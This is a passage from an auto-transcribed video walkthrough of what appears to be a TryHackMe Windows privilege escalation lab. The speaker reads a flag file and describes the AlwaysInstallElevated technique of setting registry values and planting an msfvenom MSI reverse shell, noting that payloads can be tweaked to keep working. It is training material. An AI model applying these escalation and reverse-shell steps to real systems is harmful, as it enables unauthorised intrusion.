wrong maybe I didn't even notice that

play25:28

task user one was in the one running it

play25:31

oh that's the author I was looking at

play25:33

wrong yep that's the author task user

play25:36

one is who's running it okay so that's

play25:38

on me I looked at it wrong um but that's

play25:41

good good to know so now we have this

play25:42

full shell right so now we can stay here

play25:45

and now we have whatever we need which

play25:48

is what is Task user one flag so we can

play25:51

say CD whoops CD

play25:54

c

play25:57

users and then CD task user

play26:02

one and then CD

play26:06

desktop CD desktop and then we can say

play26:11

cat flag.txt

play26:13

and okay type flag.txt

play26:19

and THM task completed there we go so we

play26:22

actually did that test no problem now

play26:25

here you can say see how we're going to

play26:27

always stay elevated so what they're

play26:28

doing is they're actually editing the um

play26:33

registry excuse me so you can see this

play26:35

method requires two registry values to

play26:36

be set so we need to set these first

play26:38

we're querying them right and then we're

play26:40

actually creating a malicious. MSI here

play26:44

we're creating that msf Venom reverse

play26:47

shell and then here we're actually

play26:49

putting it right in the temporary

play26:52

directory um you should also run the

play26:53

medit Handler module configured

play26:55

accordingly once you have transferred

play26:56

the file you've created you can run the

play26:57

installer with the command below and

play26:59

receive the reverse shell so you can see

play27:01

this will actually go ahead um and make

play27:04

sure that these are set now does this

play27:08

work currently I will tell you it

play27:10

probably won't um because it'll probably

play27:12

be busted but there's ways around that

play27:14

I'm just saying this is a good example

play27:16

of how to stay always elevated you can

play27:18

change a registry um edit you can make

play27:20

another scheduled task you could do all

play27:22

kinds of things to stay elevated as that

play27:24

user once you have that user's

play27:26

configuration all right I was going to

play27:28

try to get to task five but I think

play27:30

we're going to stop there um let's see

play27:32

how long yeah it'll take us a little bit

play27:35

to get to task five let's see yeah this

play27:38

is a long one so I'm going to stop there

play27:40

that's a 30 minutes that's good we'll

play27:42

finish task five six seven and then

play27:45

eight next time because then that's it

play27:48

so tools of the trade there's no actual

play27:50

questions so that'll be it so hopefully

play27:53

this helps you guys hopefully you guys

play27:55

are following along in this path the

play27:57

junior pen testing path and learning

play27:58

something because a lot of these are

play28:00

very rudimentary and you might say they

play28:02

don't work anymore they do it's just you

play28:06

have to manipulate them in a way you

play28:08

have to understand the technical aspects

play28:10

and understand that yeah it might not

play28:12

work where I run just that msf Venom

play28:15

payload that they laid out for me but if

play28:17

I can change things I can make it work

play28:19

for me so hopefully this helps you guys

play28:21

and hopefully you guys like this path

play28:23

let me know if you do and thank you have

play28:25

a good day

Rate This

5.0 / 5 (0 votes)

Связанные теги
Windows SecurityPrivilege EscalationPenetration TestingCyber HackingIT TutorialSecurity VulnerabilitiesNetwork DefenseHacking TechniquesSystem AdministrationCybersecurity
Вам нужно краткое изложение на английском?